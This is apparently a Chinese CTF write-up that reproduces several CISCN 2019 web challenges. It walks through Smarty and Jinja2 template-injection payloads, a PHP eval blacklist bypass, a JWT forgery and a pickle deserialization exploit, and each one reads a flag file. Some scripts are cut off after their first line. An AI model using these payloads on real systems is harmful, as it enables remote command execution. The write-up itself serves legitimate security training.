NSSCTF-CISCN-Web复现
[CISCN 2019华东南]Web11
Smarty SSTI
IP处存在SSTI漏洞
通过XFF字段控制IP即可
payload
1 | X-Forwarded-For: {system('cat /flag > 1.txt')} |
[CISCN 2019华北Day2]Web1
空格被过滤,用()代替,布尔盲注
1 | import string |
[CISCN 2019初赛]Love Math
1 |
|
代码接受GET传参c,保存在content中,并对参数长度进行了限制<80。
然后设置了一个黑名单,过滤了一些特殊字符,空格和/也给过滤了,所以cat /flag无门。
接下来提供了一个白名单,里面是一些数学函数,并提供了一个常用数学函数的链接,可以查到这些函数的用法。
都满足以上条件后,使用eval来执行传入的参数。
分析到这里,只能利用白名单中提供的函数来构造命令,用到的函数有:
base_convert():在任意进制之间转换数字
dechex():将十进制转换成十六进制
hex2bin():将十六进制转换成ascii字符
思路是:先利用dechex()将GET传入的十进制数转换成十六进制,再利用hex2bin()将得到的十六进制数转换成ascii字符串。又因为白名单里没有hex2bin()这个函数,所以需要利用base_convert()来将GET传入的十进制数转换成三十六进制(因为三十六进制中含有数字字母)构造出hex2bin,最后将分别传入的字符串拼接即可构造成功。
*Trick:十进制数37907361743转换成三十六进制之后正好就是hex2bin。
因为代码中对传入的参数c做了长度限制,但可以通过传入其它参数,在构造出来的语句中调用即可。
这里还涉及到一个知识点,PHP中可以将函数名保存在一个变量中,然后使用这个变量来替代函数名,例如:
1 | $a = 'dechex'; |
利用以上知识点,尝试构造如下payload:
1 | ?c=$_GET[a]($_GET[b])&a=system&b=cat /flag |
构造过程如下:
1 | base_convert(37907361743, 10, 36); => hex2bin |
最终payload
1 | ?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat%20/flag |
[CISCN 2019华东南]Double Secret
目录扫描发现/secret
访问/secret?secret=1,返回d
再随便输一串/secret?secret=aaaaaa,让flask报错,在报错界面可以展开代码
首先判断参数是不是为空,如果是空的参数,则返回一段话,就是刚进页面看到的内容,如果传入了参数,那么就会进行加密,可以看到是RC4加密,而且还泄露了密钥,密钥就是HereIsTreasure,而且通过报错,了解到这是flask的模板,而且python的版本是2.7的,那么可以利用flask的模板注入,执行命令,只不过需要进行RC4加密。
找个jinja2的payload,用cyberchef加密一下就行
1 | {{''.__class__.__mro__[2].__subclasses__()[239]('cat /flag.txt',shell=True,stdout=-1).communicate()[0].strip()}} |
1 | /secret?secret=%2E%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C3%9B%207%C3%9F%07%C2%B6A%C3%990%C3%A4%21%C2%8A%5E%C3%85%0D%C3%A2%17%C3%9B3%C2%93%C2%B6%C2%B0%3EW%C2%80R%C3%A2%C2%BEGx%22%C2%A4%2C%60%C2%968%06%C3%90%C2%A1%5EV%C2%B9%C2%87%11%C2%BFE6%19%03%C3%BBZ%C3%9Eu%C3%B3h%C2%97gL%2Ak%08%C3%9E%C2%9F%15%C2%BB%C2%B9%C2%AB%C3%8A%C3%BB%C2%8F%C3%AF%23I%C2%8C%C2%82%C3%BA%C3%BE%C3%94%2A%7B%C2%A9%C2%97A%C2%96%2BDR%C2%9C%C2%98W |
[CISCN 2019华北Day1]Web2
先爆破jwt的密钥,使用c-jwt-crack,爆破出来密钥是”1Kun”
伪造成admin,替换cookie为eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
admin的个人中心给了一串hint:
\u8fd9\u7f51\u7ad9\u4e0d\u4ec5\u53ef\u4ee5\u4ee5\u8585\u7f8a\u6bdb\uff0c\u6211\u8fd8\u7559\u4e86\u4e2a\u540e\u95e8\uff0c\u5c31\u85cf\u5728\u006c\u0076\u0036\u91cc
解码得到:
这网站不仅可以以薅羊毛,我还留了个后门,就藏在lv6里
可以看到商品上有lv3,lv4这样的标签,并且有很多页,那么写个脚本来找一下有lv6标签的商品在哪
1 | import requests |
发现在180页
但是价格很贵无法购买,抓个包看下,请求当中带有price和discount,改price不行,可以改discount,放包后跟随重定向到/b1g_m4mber,提示了源码下载地址/static/asd1f654e683wq/www.zip
代码审计,在Admin.py里发现pickle反序列化
1 | import tornado.web |
exp.py
1 | import pickle |
完整请求包
1 | POST /b1g_m4mber HTTP/1.1 |